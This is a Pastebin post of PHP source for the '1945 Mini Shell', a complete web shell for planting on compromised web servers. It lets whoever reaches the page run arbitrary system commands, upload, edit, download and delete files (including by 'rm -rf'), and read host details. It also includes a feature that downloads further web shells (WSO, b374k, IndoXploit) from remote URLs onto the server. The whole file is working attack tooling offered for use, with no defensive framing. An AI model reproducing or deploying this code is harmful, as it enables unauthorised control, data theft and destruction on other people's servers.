Advertisement
shutdown57

1945 Mini Shell

Jun 6th, 2018
504
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.57 KB | None | 0 0
  1. <?php
  2. /*
  3. @ PHPWebshell - 1945 Mini Shell.
  4. @ c0ded by : shutdown57
  5. @ Contact : indonesianpeople.shutdown57@gmail.com
  6. */
  7. error_reporting(0);
  8. set_time_limit(0);
  9. header("X-XSS-Protection: 0");
  10.  
  11. $are=array("adminer"=>"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php",
  12.             "idx3"=>"https://raw.githubusercontent.com/justalinko/webshell/master/ext/indoxploit.php",
  13.             "1945v2017"=>"https://raw.githubusercontent.com/justalinko/1945shell/master/ext/1945.php",
  14.             "wso"=>"https://raw.githubusercontent.com/justalinko/webshell/master/ext/wso.php",
  15.             "b374k"=>"https://raw.githubusercontent.com/justalinko/webshell/master/ext/b374k.php",
  16.             "jquery" => "https://justalinko.github.io/jshell/jquery.min.js");
  17.  
  18. function getpath()
  19. {
  20.     if(isset($_GET['d']))
  21.     {
  22.         $d=$_GET['d'];
  23.     }else{
  24.         $d=getcwd();
  25.     }
  26.     return $d;
  27. }
  28. function cmd($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents();@ob_end_clean(); return $buff;   } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff;  } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff;    } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; }}
  29. function delete($dir){if(is_dir($dir)){if(!rmdir($dir)){$s=scandir($dir);foreach ($s as $ss) {if(is_file($dir."/".$ss)){if(unlink($dir."/".$ss)){$rm=rmdir($dir);}}if(is_dir($dir."/".$ss)){$rm=rmdir($dir."/".$ss);$rm.=rmdir($dir);$rm.=system('rm -rf '.$dir);}}}}elseif(is_file($dir)){$rm = unlink($dir);if(!$rm){system('rm -rf '.$dir);}}return $rm;}
  30. function getowner($path){if(function_exists('posix_getpwuid')) {$downer = @posix_getpwuid(fileowner($path));$downer = $downer['name'];} else {$downer = fileowner($path);}return $downer;}
  31. function getgroup($path){if(function_exists('posix_getgrgid')) {$dgrp = @posix_getgrgid(filegroup($path));$dgrp = $dgrp['name'];} else { $dgrp = filegroup($path);}return $dgrp;}
  32. function upload($a,$b){ if(function_exists('move_uploaded_file')){$upl = move_uploaded_file($a,$b);}elseif (function_exists('copy')) {  $upl = copy($a,$b);}return $upl; }function array_upload($file){ $file_ary = array(); $file_count = count($file['name']); $file_key = array_keys($file); for($i=0;$i<$file_count;$i++) { foreach($file_key as $val) { $file_ary[$i][$val] = $file[$val][$i]; } } return $file_ary;}
  33. function sedirs($dir)
  34. {
  35.     if(function_exists('scandir'))
  36.     {
  37.         $s=scandir($dir);
  38.         chdir($dir);
  39.     }else{
  40.         $s=system($dir);
  41.     }
  42.     return $s;
  43. }
  44. function getperms($files)
  45. {
  46.         if($s_m = @fileperms($files)){
  47.         $s_p = 'u';
  48.         if(($s_m & 0xC000) == 0xC000)$s_p = 's';
  49.         elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
  50.         elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
  51.         elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
  52.         elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
  53.         elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
  54.         elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
  55.         $s_p .= ($s_m & 00400)? 'r':'-';
  56.         $s_p .= ($s_m & 00200)? 'w':'-';
  57.         $s_p .= ($s_m & 00100)? 'x':'-';
  58.         $s_p .= ($s_m & 00040)? 'r':'-';
  59.         $s_p .= ($s_m & 00020)? 'w':'-';
  60.         $s_p .= ($s_m & 00010)? 'x':'-';
  61.         $s_p .= ($s_m & 00004)? 'r':'-';
  62.         $s_p .= ($s_m & 00002)? 'w':'-';
  63.         $s_p .= ($s_m & 00001)? 'x':'-';
  64.         return $s_p;
  65.     }
  66.     else return "???????????";
  67. }
  68. function downloads($file)
  69. {
  70.     @ob_clean();
  71.     header('Content-Description: File Transfer');
  72.     header('Content-Type: application/octet-stream');
  73.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  74.     header('Expires: 0');header('Cache-Control: must-revalidate');
  75.     header('Pragma: public');
  76.     header('Content-Length: ' . filesize($file));
  77.     readfile($file);
  78.     exit;
  79. }
  80. function viewfilefunc($file)
  81. {
  82.     echo "<center><h1> View : ".basename($file)."</h1>";
  83.     echo "<textarea readonly>";
  84.     echo htmlspecialchars(file_get_contents($file));
  85.     echo "</textarea></center>";
  86. }
  87. function ts($s_s){
  88.     if($s_s<=0) return 0;
  89.     $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
  90.     $s_e = floor(log($s_s)/log(1024));
  91.     return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
  92. }
  93. function getsize($s_f){
  94.     $s_s = @filesize($s_f);
  95.     if($s_s !== false){
  96.         if($s_s<=0) return 0;
  97.         return ts($s_s);
  98.     }
  99.     else return "???";
  100. }
  101. function kuchiyose($a,$b)
  102. {
  103.     $fgc=file_get_contents($a);
  104.     $fp=fopen($b.".1945m1n1.php",'w');
  105.     fwrite($fp,$fgc);
  106.     fclose($fp);
  107. }
  108. function cekk($f){
  109.     if(file_exists($f.".1945m1n1.php")){
  110.         echo "<b>Request done ! <a href='$f.1945m1n1.php' target='_blank'>Click here</a>";
  111.     }
  112. }
  113. function renamefunc($dir,$oldname){
  114.     echo "<center><h1>Rename : ".$oldname."</h1><br><form method='POST' class='in'>oldname : <input type='text' value='$oldname' class='in' readonly>";
  115.     echo "Newname : <input type='text' name='newname' value='newname' class='in'><input type='submit' value='>>' name='s'></form></center>";
  116.     if(isset($_POST['s'])){
  117.         rename($dir."/".$oldname,$dir."/".$_POST['newname']);
  118.         echo "<meta http-equiv='refresh' content='0;url=?d=".dirname($dir)."'>";
  119.     }
  120. }
  121. function editfunc($dir,$file){
  122.     echo "<center><h1> Edit : ".$file."</h1><br><form method='POST'>";
  123.     echo "<textarea name='editfile'>".htmlspecialchars(file_get_contents($dir."/".$file))."</textarea><br>";
  124.     echo "<input type='submit' name='sbmt' value='simpan !' style='width:200px;'>";
  125.     echo "</form>";
  126.     if(isset($_POST['sbmt']))
  127.     {
  128.         $fp=fopen($dir."/".$file,'w');
  129.         fwrite($fp,$_POST['editfile']);
  130.         fclose($fp);
  131.         echo "<br><b>Tersimpan @".date('D ,d m Y')."</b><br>";
  132.     }
  133. }
  134. function berinamafunc($dir){
  135.     echo "<center><h1>New file </h1><br><form method='POST' class='in'>";
  136.     echo "Filename : <input type='text' name='filename' value='newfile.php'>";
  137.     echo "<input type='submit' name='svi' value='>>'>";
  138.     echo "</form>";
  139.     if(isset($_POST['svi']))
  140.     {
  141.         if(function_exists('touch')){
  142.             touch($dir."/".$_POST['filename']);
  143.         }else{
  144.             $fp=fopen($dir."/".$_POST['filename'],'w');
  145.             fwrite($fp,'#new file 1945');
  146.             fclose($fp);
  147.         }
  148.         header('location:?d='.$dir.'&a=edit&f='.$_POST['filename']);
  149.     }
  150. }
  151. function mkdirfunc($dir){
  152.     echo "<center><h1>New directory</h1>";
  153.     echo "<form method='POST' class='in'>New dir:<input type='text' name='mkdir'>";
  154.     echo "<input type='submit' name='sbmt' value='>>'></form></center>";
  155.     if(isset($_POST['sbmt']))
  156.     {
  157.         mkdir($dir."/".$_POST['mkdir']);
  158.         echo "<meta http-equiv='refresh' content='0;url=?d=".$dir."'>";
  159.     }
  160.  
  161. }
  162. $gp=getpath();
  163. ?>
  164. <!DOCTYPE html>
  165. <html>
  166. <head>
  167.     <title>1945 Mini Shell</title>
  168. <meta name="author" content="shutdown57">
  169. <link rel="icon" type="text/css" href="https://raw.githubusercontent.com/justalinko/justalinko.github.io/master/images/favicon_1945.gif">
  170. <script type="text/javascript" src="<?=$are['jquery'];?>"></script>
  171. </head>
  172. <style type="text/css">
  173.     body{background:#333;color:#eee}
  174.     .table{border: 1px solid #f00;width:800px;border-collapse: collapse;}
  175.     .table tr{border-bottom: 1px solid #fff}a{text-decoration: none;color:#eee;}a:hover{color: #f00}.table tr:hover{background:#666}hr{border: 1px solid #f00}.in{display: inline-block;margin-left:10px;margin-right:10px}select,option,input,textarea{background:#333;color:#eee;border: 1px solid #f00}textarea{width:700px;height: 500px;margin: 0 auto;}
  176. </style>
  177. <body>
  178. <center>
  179. <a href="<?=$_SERVER['PHP_SELF'];?>"><h1>1945 Mini Shell</h1></a>
  180. [<font color=pink><?=php_uname();?></font>]
  181. </center>
  182. <hr><div class="in">
  183. <form class="in" method="get">Kuchiyose no jutsu :
  184.     <select name="a" onchange="this.form.submit();">
  185.         <option value="">Kuchiyose</option>
  186.         <option value="wso">WSO 2.5</option><option value="idx3">IndoXploit v3</option><option value="1945v2017">1945v2017</option><option value="b374k">b374k 2.8</option><option value="adminer">Adminer</option>
  187.     </select>
  188. </form>
  189. <form method="post" class="in" enctype="multipart/form-data" action="?d=<?=$gp;?>&a=upload"> Upload file :<input type="file" name="filup[]" multiple="" style="border: 0"><input type="submit" name="upload" value=">>"></form><form method="post" action="?d=<?=$gp;?>&a=cmd" class="in"> Command : <input type="text" name="cmd"></form>
  190. <form method=get class="in">go to dir : <input type="text" name="d" value="<?=$gp;?>"><input type="submit" value=">>"></form><form method="get" class="in">Act? : <select name="a" onchange="this.form.submit();"><option>---</option><option value="logout">LogOut</option><option value="kill">Kill Self</option><option value="shell">Shell</option></select></form>
  191. </div>
  192. <hr>
  193. <?php
  194. if(empty($_GET['a']))
  195. {
  196.     ?>
  197. <table align="center" class="table">
  198.     <th>Files</th><th>Size</th><th>owner:group</th><th>Permission</th><th>Action</th>
  199. <?php
  200. $dir=sedirs(getpath());
  201. echo "<tr><td><a href=\"?d=".dirname($gp)."\">Current dir</a></td><td>--</td><td>--</td><td>--</td><td align=right><a href='?d=$gp&a=touch'>Newfile</a> | <a href='?d=$gp&a=mkdir'>newdir</a></td></tr>";
  202. foreach($dir as $d1)
  203. {if(!is_dir("$gp/$d1")||$d1=="."||$d1=="..")continue;
  204.     ?>
  205.     <tr><td>[<a href="?d=<?="$gp/$d1"?>"><?=$d1;?></a>]</td>
  206.     <td><?=getsize("$gp/$d1");?></td>
  207.     <td><?=getowner("$gp/$f1");?>:<?=getgroup("$gp/$f1");?></td>
  208.     <td><?=getperms("$gp/$d1");?></td>
  209.     <td align="right"><a href="?d=<?="$gp/$d1"?>&a=rename">ren</a> | <a href="?d=<?="$gp/$d1"?>&a=delete">del</a></td>
  210.     </tr>
  211.     <?php
  212. }
  213. foreach($dir as $f1)
  214. {
  215.     if(!is_file("$gp/$f1")||$f1=="."||$f1=="..")continue;
  216. ?>
  217.     <tr><td><a href="?d=<?=$gp;?>&a=view&f=<?=$f1;?>"><?=$f1;?></a></td>
  218.     <td><?=getsize("$gp/$f1");?></td>
  219.     <td><?=getowner("$gp/$f1");?>:<?=getgroup("$gp/$f1");?></td>
  220.     <td><?=getperms("$gp/$f1");?></td>
  221.     <td align="right">
  222.     <a href="?d=<?=$gp;?>&a=rename&f=<?=$f1;?>">ren</a> |
  223.     <a href="?d=<?="$gp/$f1";?>&a=delete">del</a> |
  224.     <a href="?d=<?=$gp;?>&a=edit&f=<?=$f1;?>">edit</a> |
  225.     <a href="?d=<?=$gp;?>&a=download&f=<?=$f1;?>">dl</a></td>
  226.     </tr>
  227.     <?php
  228. }
  229. ?>
  230. </table>
  231. <?php
  232. }else{
  233. @$a=$_GET['a'];
  234. @$f=$_GET['f'];
  235. @$d=$_GET['d'];
  236. if($a=="view")
  237. {viewfilefunc($d."/".$f);}elseif($a=="download"){downloads($d."/".$f);}
  238. elseif($a=="logout"){if(setcookie(md5($_SERVER['HTTP_HOST']),""))
  239.     echo "<script>alert('See You Next time !');window.location.href='????'</script>";}
  240. elseif($a=="cmd"){
  241.     echo "<center><h1> Command</h1></center>";
  242.     ?><form method="post" action="?d=<?=$gp;?>&a=cmd" class="in"> Command : <input type="text" name="cmd"><input type="submit" value=">>"></form><?php
  243.     echo "<pre>".cmd($_POST['cmd'])."</pre>";
  244. }
  245. elseif($a=="rename"){$ff=(isset($_GET['f']) ? $_GET['f'] : basename($_GET['d']));$gdd=(isset($_GET['f'])) ? $_GET['d'] : dirname($_GET['d']); renamefunc($gdd,$ff);}
  246. elseif($a=="delete"){delete($_GET['d']);echo "<meta http-equiv='refresh' content='0;url=?d=".dirname($_GET['d'])."'>";}
  247. elseif($a=="upload"){
  248.     $fil=array_upload($_FILES['filup']); foreach($fil as $filup)
  249.     {
  250.         $filoc=$d."/".$filup['name'];
  251.         if(upload($filup['tmp_name'],$filoc))
  252.         {
  253.             echo "<font color=lime>Successfully upload -> <a href='?d=".$d."&a=view&f=".$filup['name']."'>".$filoc."</a></font><br>";
  254.         }else{
  255.             echo "<font color=red>Failed upload -> ".$filoc."</font><br>";
  256.         }
  257.     }
  258. }
  259. elseif($a=="mkdir"){mkdirfunc($d);}
  260. elseif($a=="touch"){berinamafunc($d);}
  261. elseif($a=="edit"){editfunc($_GET['d'],$_GET['f']);}
  262. elseif($a=="idx3"){kuchiyose($are['idx3'],"indoxploit");cekk("indoxploit");}
  263. elseif($a=="wso"){kuchiyose($are['wso'],"wso");cekk("wso");}
  264. elseif($a=="1945v2017"){kuchiyose($are['1945v2017'],"1945");cekk("1945");}
  265. elseif($a=="adminer"){kuchiyose($are['adminer'],"adminer");cekk("adminer");}
  266. elseif($a=="b374k"){kuchiyose($are['b374k'],"b374k");cekk("b374k");}
  267. }
  268. ?>
  269. <footer style="bottom: 0;position: fixed;right: 0">copyright &copy; 2017 - Mini Shell by : shutdown57</footer>
  270. </body>
  271. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement